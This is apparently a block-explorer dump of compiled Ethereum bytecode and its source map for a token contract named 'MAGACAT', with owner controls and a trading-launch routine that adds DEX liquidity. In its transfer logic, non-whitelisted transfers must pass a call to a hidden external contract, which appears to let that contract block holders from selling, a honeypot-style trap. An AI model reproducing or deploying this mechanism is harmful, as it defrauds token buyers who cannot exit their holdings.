0000000000000000000000000000000000000815250905090565b5f61046d338484610ce4565b6001905092915050565b5f600254905090565b5f61048c848484610ea7565b610521843361051c8560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461139090919063ffffffff16565b610ce4565b600190509392505050565b60145481565b5f8060149054906101000a900460ff16905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1661058b610779565b73ffffffffffffffffffffffffffffffffffffffff16146105e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d890611806565b60405180910390fd5b80600560156101000a81548160ff02191690831515021790555050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610663610779565b73ffffffffffffffffffffffffffffffffffffffff16146106b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b090611806565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60135481565b60606040518060400160405280600781526020017f4d41474143415400000000000000000000000000000000000000000000000000815250905090565b60155481565b5f6107f5338484610ea7565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661081e610779565b73ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90611806565b60405180910390fd5b600560149054906101000a900460ff161561088d575f80fd5b6108bb3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610ce4565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610926573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094a9190611838565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109da9190611838565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610a14929190611863565b6020604051808303815f875af1158015610a30573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a549190611838565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610adb306105fe565b5f80610ae5610779565b426040518863ffffffff1660e01b8152600401610b07969594939291906118cc565b60606040518083038185885af1158015610b23573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b48919061193f565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610be892919061198f565b6020604051808303815f875af1158015610c04573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c2891906119ca565b506001600560146101000a81548160ff0219169083151502179055506001600560156101000a81548160ff02191690831515021790555050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4990611a65565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db790611af3565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e9a9190611639565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ede575f80fd5b5f8111610ee9575f80fd5b610ef1610779565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f5f5750610f2f610779565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112045760085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611008575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561104057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611093575060085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156111415760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b384836040518363ffffffff1660e01b81526004016110f492919061198f565b6020604051808303815f875af1158015611110573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061113491906119ca565b61113c575f80fd5b611203565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156111ea575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561120257600c54600e81905550600d54600f819055505b5b5b6112548160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461139090919063ffffffff16565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112e58160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113d990919063ffffffff16565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113839190611639565b60405180910390a3505050565b5f6113d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611436565b905092915050565b5f8082846113e79190611b3e565b90508381101561142c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142390611bbb565b60405180910390fd5b8091505092915050565b5f83831115829061147d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114749190611508565b60405180910390fd5b505f838561148b9190611bd9565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6114da82611498565b6114e481856114a2565b93506114f48185602086016114b2565b6114fd816114c0565b840191505092915050565b5f6020820190508181035f83015261152081846114d0565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115558261152c565b9050919050565b6115658161154b565b811461156f575f80fd5b50565b5f813590506115808161155c565b92915050565b5f819050919050565b61159881611586565b81146115a2575f80fd5b50565b5f813590506115b38161158f565b92915050565b5f80604083850312156115cf576115ce611528565b5b5f6115dc85828601611572565b92505060206115ed858286016115a5565b9150509250929050565b5f8115159050919050565b61160b816115f7565b82525050565b5f6020820190506116245f830184611602565b92915050565b61163381611586565b82525050565b5f60208201905061164c5f83018461162a565b92915050565b5f805f6060848603121561166957611668611528565b5b5f61167686828701611572565b935050602061168786828701611572565b9250506040611698868287016115a5565b9150509250925092565b5f60ff82169050919050565b6116b7816116a2565b82525050565b5f6020820190506116d05f8301846116ae565b92915050565b6116df8161154b565b82525050565b5f6020820190506116f85f8301846116d6565b92915050565b611707816115f7565b8114611711575f80fd5b50565b5f81359050611722816116fe565b92915050565b5f6020828403121561173d5761173c611528565b5b5f61174a84828501611714565b91505092915050565b5f6020828403121561176857611767611528565b5b5f61177584828501611572565b91505092915050565b5f806040838503121561179457611793611528565b5b5f6117a185828601611572565b92505060206117b285828601611572565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6117f06020836114a2565b91506117fb826117bc565b602082019050919050565b5f6020820190508181035f83015261181d816117e4565b9050919050565b5f815190506118328161155c565b92915050565b5f6020828403121561184d5761184c611528565b5b5f61185a84828501611824565b91505092915050565b5f6040820190506118765f8301856116d6565b61188360208301846116d6565b9392505050565b5f819050919050565b5f819050919050565b5f6118b66118b16118ac8461188a565b611893565b611586565b9050919050565b6118c68161189c565b82525050565b5f60c0820190506118df5f8301896116d6565b6118ec602083018861162a565b6118f960408301876118bd565b61190660608301866118bd565b61191360808301856116d6565b61192060a083018461162a565b979650505050505050565b5f815190506119398161158f565b92915050565b5f805f6060848603121561195657611955611528565b5b5f6119638682870161192b565b93505060206119748682870161192b565b92505060406119858682870161192b565b9150509250925092565b5f6040820190506119a25f8301856116d6565b6119af602083018461162a565b9392505050565b5f815190506119c4816116fe565b92915050565b5f602082840312156119df576119de611528565b5b5f6119ec848285016119b6565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611a4f6024836114a2565b9150611a5a826119f5565b604082019050919050565b5f6020820190508181035f830152611a7c81611a43565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611add6022836114a2565b9150611ae882611a83565b604082019050919050565b5f6020820190508181035f830152611b0a81611ad1565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b4882611586565b9150611b5383611586565b9250828201905080821115611b6b57611b6a611b11565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611ba5601b836114a2565b9150611bb082611b71565b602082019050919050565b5f6020820190508181035f830152611bd281611b99565b9050919050565b5f611be382611586565b9150611bee83611586565b9250828203905081811115611c0657611c05611b11565b5b9291505056fea2646970667358221220ac6ed517021c02414fed555a68c836e668f84884b2d1134a531888e05147a96064736f6c634300081a0033

Deployed Bytecode Sourcemap

2883:5268:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5091:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5182:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5435:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7891:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4393:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5000:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3328:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5676:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4882:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1388:140;;;;;;;;;;;;;:::i;:::-;;4291:43;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1658:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4341:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5340:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4450:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7727:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7127:592;;;:::i;:::-;;5534:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5091:83;5128:13;5161:5;;;;;;;;;;;;;;;;;5154:12;;5091:83;:::o;5182:150::-;5248:4;5265:37;5274:10;5286:7;5295:6;5265:8;:37::i;:::-;5320:4;5313:11;;5182:150;;;;:::o;5435:91::-;5479:7;5506:12;;5499:19;;5435:91;:::o;7891:256::-;7980:4;7997:36;8007:6;8015:9;8026:6;7997:9;:36::i;:::-;8044:73;8053:6;8061:10;8073:43;8109:6;8073:11;:19;8085:6;8073:19;;;;;;;;;;;;;;;:31;8093:10;8073:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;8044:8;:73::i;:::-;8135:4;8128:11;;7891:256;;;;;:::o;4393:50::-;;;;:::o;5000:83::-;5041:5;5066:9;;;;;;;;;;;5059:16;;5000:83;:::o;3328:28::-;;;;;;;;;;;;;:::o;5676:101::-;1585:10;1574:21;;:7;:5;:7::i;:::-;:21;;;1566:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;5757:12:::1;5743:11;;:26;;;;;;;;;;;;;;;;;;5676:101:::0;:::o;4882:110::-;4939:7;4966:9;:18;4976:7;4966:18;;;;;;;;;;;;;;;;4959:25;;4882:110;;;:::o;1388:140::-;1585:10;1574:21;;:7;:5;:7::i;:::-;:21;;;1566:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1487:1:::1;1450:40;;1471:6;::::0;::::1;;;;;;;;1450:40;;;;;;;;;;;;1518:1;1501:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1388:140::o:0;4291:43::-;;;;:::o;1658:87::-;1704:7;1731:6;;;;;;;;;;;1724:13;;1658:87;:::o;4341:45::-;;;;:::o;5340:87::-;5379:13;5412:7;;;;;;;;;;;;;;;;;5405:14;;5340:87;:::o;4450:47::-;;;;:::o;7727:156::-;7796:4;7813:40;7823:10;7835:9;7846:6;7813:9;:40::i;:::-;7871:4;7864:11;;7727:156;;;;:::o;7127:592::-;1585:10;1574:21;;:7;:5;:7::i;:::-;:21;;;1566:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;7197:11:::1;;;;;;;;;;;7196:12;7188:21;;;::::0;::::1;;7221:63;7238:4;7253:15;;;;;;;;;;;7271:12;;7221:8;:63::i;:::-;7295:12;7310:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7295:37;;7377:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7359:56;;;7424:4;7431;7359:77;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7343:13;;:93;;;;;;;;;;;;;;;;;;7447:15;;;;;;;;;;;:31;;;7486:9;7506:4;7513:24;7531:4;7513:9;:24::i;:::-;7539:1;7542::::0;7545:7:::1;:5;:7::i;:::-;7554:15;7447:123;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7588:13;;;;;;;;;;;7581:29;;;7619:15;;;;;;;;;;;7637:14;7581:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7678:4;7664:11;;:18;;;;;;;;;;;;;;;;;;7707:4;7693:11;;:18;;;;;;;;;;;;;;;;;;7177:542;7127:592::o:0;5534:134::-;5606:7;5633:11;:18;5645:5;5633:18;;;;;;;;;;;;;;;:27;5652:7;5633:27;;;;;;;;;;;;;;;;5626:34;;5534:134;;;;:::o;5785:335::-;5895:1;5878:19;;:5;:19;;;5870:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5976:1;5957:21;;:7;:21;;;5949:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6058:6;6028:11;:18;6040:5;6028:18;;;;;;;;;;;;;;;:27;6047:7;6028:27;;;;;;;;;;;;;;;:36;;;;6096:7;6080:32;;6089:5;6080:32;;;6105:6;6080:32;;;;;;:::i;:::-;;;;;;;;5785:335;;;:::o;6128:842::-;6232:1;6216:18;;:4;:18;;;6208:27;;;;;;6264:1;6255:6;:10;6247:19;;;;;;6289:7;:5;:7::i;:::-;6281:15;;:4;:15;;;;:32;;;;;6306:7;:5;:7::i;:::-;6300:13;;:2;:13;;;;6281:32;6277:536;;;6335:17;:23;6353:4;6335:23;;;;;;;;;;;;;;;;;;;;;;;;;6334:24;:66;;;;;6387:13;;;;;;;;;;;6379:21;;:4;:21;;;;6334:66;:109;;;;;6438:4;6422:21;;:4;:21;;;;6334:109;:154;;;;;6467:17;:21;6485:2;6467:21;;;;;;;;;;;;;;;;;;;;;;;;;6466:22;6334:154;6330:472;;;6535:11;;;;;;;;;;;:19;;;6555:4;6561:6;6535:33;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6527:42;;;;;;6330:472;;;6620:13;;;;;;;;;;;6614:19;;:2;:19;;;:55;;;;;6653:15;;;;;;;;;;;6637:32;;:4;:32;;;;6614:55;6610:177;;;6706:15;;6694:9;:27;;;;6754:13;;6744:7;:23;;;;6610:177;6330:472;6277:536;6841:27;6861:6;6841:9;:15;6851:4;6841:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6823:9;:15;6833:4;6823:15;;;;;;;;;;;;;;;:45;;;;6895:25;6913:6;6895:9;:13;6905:2;6895:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;6879:9;:13;6889:2;6879:13;;;;;;;;;;;;;;;:41;;;;6951:2;6936:26;;6945:4;6936:26;;;6955:6;6936:26;;;;;;:::i;:::-;;;;;;;;6128:842;;;:::o;2026:136::-;2084:7;2111:43;2115:1;2118;2111:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2104:50;;2026:136;;;;:::o;2363:179::-;2421:7;2441:9;2457:1;2453;:5;;;;:::i;:::-;2441:17;;2482:1;2477;:6;;2469:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2533:1;2526:8;;;2363:179;;;;:::o;2686:190::-;2772:7;2805:1;2800;:6;;2808:12;2792:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2832:9;2848:1;2844;:5;;;;:::i;:::-;2832:17;;2867:1;2860:8;;;2686:190;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4833:24;4851:5;4833:24;:::i;:::-;4828:3;4821:37;4746:118;;:::o;4870:222::-;4963:4;5001:2;4990:9;4986:18;4978:26;;5014:71;5082:1;5071:9;5067:17;5058:6;5014:71;:::i;:::-;4870:222;;;;:::o;5098:116::-;5168:21;5183:5;5168:21;:::i;:::-;5161:5;5158:32;5148:60;;5204:1;5201;5194:12;5148:60;5098:116;:::o;5220:133::-;5263:5;5301:6;5288:20;5279:29;;5317:30;5341:5;5317:30;:::i;:::-;5220:133;;;;:::o;5359:323::-;5415:6;5464:2;5452:9;5443:7;5439:23;5435:32;5432:119;;;5470:79;;:::i;:::-;5432:119;5590:1;5615:50;5657:7;5648:6;5637:9;5633:22;5615:50;:::i;:::-;5605:60;;5561:114;5359:323;;;;:::o;5688:329::-;5747:6;5796:2;5784:9;5775:7;5771:23;5767:32;5764:119;;;5802:79;;:::i;:::-;5764:119;5922:1;5947:53;5992:7;5983:6;5972:9;5968:22;5947:53;:::i;:::-;5937:63;;5893:117;5688:329;;;;:::o;6023:474::-;6091:6;6099;6148:2;6136:9;6127:7;6123:23;6119:32;6116:119;;;6154:79;;:::i;:::-;6116:119;6274:1;6299:53;6344:7;6335:6;6324:9;6320:22;6299:53;:::i;:::-;6289:63;;6245:117;6401:2;6427:53;6472:7;6463:6;6452:9;6448:22;6427:53;:::i;:::-;6417:63;;6372:118;6023:474;;;;;:::o;6503:182::-;6643:34;6639:1;6631:6;6627:14;6620:58;6503:182;:::o;6691:366::-;6833:3;6854:67;6918:2;6913:3;6854:67;:::i;:::-;6847:74;;6930:93;7019:3;6930:93;:::i;:::-;7048:2;7043:3;7039:12;7032:19;;6691:366;;;:::o;7063:419::-;7229:4;7267:2;7256:9;7252:18;7244:26;;7316:9;7310:4;7306:20;7302:1;7291:9;7287:17;7280:47;7344:131;7470:4;7344:131;:::i;:::-;7336:139;;7063:419;;;:::o;7488:143::-;7545:5;7576:6;7570:13;7561:22;;7592:33;7619:5;7592:33;:::i;:::-;7488:143;;;;:::o;7637:351::-;7707:6;7756:2;7744:9;7735:7;7731:23;7727:32;7724:119;;;7762:79;;:::i;:::-;7724:119;7882:1;7907:64;7963:7;7954:6;7943:9;7939:22;7907:64;:::i;:::-;7897:74;;7853:128;7637:351;;;;:::o;7994:332::-;8115:4;8153:2;8142:9;8138:18;8130:26;;8166:71;8234:1;8223:9;8219:17;8210:6;8166:71;:::i;:::-;8247:72;8315:2;8304:9;8300:18;8291:6;8247:72;:::i;:::-;7994:332;;;;;:::o;8332:85::-;8377:7;8406:5;8395:16;;8332:85;;;:::o;8423:60::-;8451:3;8472:5;8465:12;;8423:60;;;:::o;8489:158::-;8547:9;8580:61;8598:42;8607:32;8633:5;8607:32;:::i;:::-;8598:42;:::i;:::-;8580:61;:::i;:::-;8567:74;;8489:158;;;:::o;8653:147::-;8748:45;8787:5;8748:45;:::i;:::-;8743:3;8736:58;8653:147;;:::o;8806:807::-;9055:4;9093:3;9082:9;9078:19;9070:27;;9107:71;9175:1;9164:9;9160:17;9151:6;9107:71;:::i;:::-;9188:72;9256:2;9245:9;9241:18;9232:6;9188:72;:::i;:::-;9270:80;9346:2;9335:9;9331:18;9322:6;9270:80;:::i;:::-;9360;9436:2;9425:9;9421:18;9412:6;9360:80;:::i;:::-;9450:73;9518:3;9507:9;9503:19;9494:6;9450:73;:::i;:::-;9533;9601:3;9590:9;9586:19;9577:6;9533:73;:::i;:::-;8806:807;;;;;;;;;:::o;9619:143::-;9676:5;9707:6;9701:13;9692:22;;9723:33;9750:5;9723:33;:::i;:::-;9619:143;;;;:::o;9768:663::-;9856:6;9864;9872;9921:2;9909:9;9900:7;9896:23;9892:32;9889:119;;;9927:79;;:::i;:::-;9889:119;10047:1;10072:64;10128:7;10119:6;10108:9;10104:22;10072:64;:::i;:::-;10062:74;;10018:128;10185:2;10211:64;10267:7;10258:6;10247:9;10243:22;10211:64;:::i;:::-;10201:74;;10156:129;10324:2;10350:64;10406:7;10397:6;10386:9;10382:22;10350:64;:::i;:::-;10340:74;;10295:129;9768:663;;;;;:::o;10437:332::-;10558:4;10596:2;10585:9;10581:18;10573:26;;10609:71;10677:1;10666:9;10662:17;10653:6;10609:71;:::i;:::-;10690:72;10758:2;10747:9;10743:18;10734:6;10690:72;:::i;:::-;10437:332;;;;;:::o;10775:137::-;10829:5;10860:6;10854:13;10845:22;;10876:30;10900:5;10876:30;:::i;:::-;10775:137;;;;:::o;10918:345::-;10985:6;11034:2;11022:9;11013:7;11009:23;11005:32;11002:119;;;11040:79;;:::i;:::-;11002:119;11160:1;11185:61;11238:7;11229:6;11218:9;11214:22;11185:61;:::i;:::-;11175:71;;11131:125;10918:345;;;;:::o;11269:223::-;11409:34;11405:1;11397:6;11393:14;11386:58;11478:6;11473:2;11465:6;11461:15;11454:31;11269:223;:::o;11498:366::-;11640:3;11661:67;11725:2;11720:3;11661:67;:::i;:::-;11654:74;;11737:93;11826:3;11737:93;:::i;:::-;11855:2;11850:3;11846:12;11839:19;;11498:366;;;:::o;11870:419::-;12036:4;12074:2;12063:9;12059:18;12051:26;;12123:9;12117:4;12113:20;12109:1;12098:9;12094:17;12087:47;12151:131;12277:4;12151:131;:::i;:::-;12143:139;;11870:419;;;:::o;12295:221::-;12435:34;12431:1;12423:6;12419:14;12412:58;12504:4;12499:2;12491:6;12487:15;12480:29;12295:221;:::o;12522:366::-;12664:3;12685:67;12749:2;12744:3;12685:67;:::i;:::-;12678:74;;12761:93;12850:3;12761:93;:::i;:::-;12879:2;12874:3;12870:12;12863:19;;12522:366;;;:::o;12894:419::-;13060:4;13098:2;13087:9;13083:18;13075:26;;13147:9;13141:4;13137:20;13133:1;13122:9;13118:17;13111:47;13175:131;13301:4;13175:131;:::i;:::-;13167:139;;12894:419;;;:::o;13319:180::-;13367:77;13364:1;13357:88;13464:4;13461:1;13454:15;13488:4;13485:1;13478:15;13505:191;13545:3;13564:20;13582:1;13564:20;:::i;:::-;13559:25;;13598:20;13616:1;13598:20;:::i;:::-;13593:25;;13641:1;13638;13634:9;13627:16;;13662:3;13659:1;13656:10;13653:36;;;13669:18;;:::i;:::-;13653:36;